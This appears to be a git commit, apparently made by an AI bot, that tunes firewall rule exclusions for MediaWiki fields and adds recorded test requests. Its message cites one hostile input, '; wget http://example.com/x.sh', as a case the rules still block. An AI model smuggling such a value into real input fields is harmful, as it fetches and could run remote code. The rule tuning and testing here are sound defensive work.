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Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 16m32s
Details

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On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
This commit was merged in pull request #265.
This commit is contained in:
clawbot committed 2026-11-10 03:09:24 +01:00
1 parent d70fb34f40
commit 922fe0cf71
4 files changed
+150 -14
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internal/coreruleset/testdata/mediawiki-requests.txt
Vendored
+35
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@@ -565,3 +565,38 @@
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}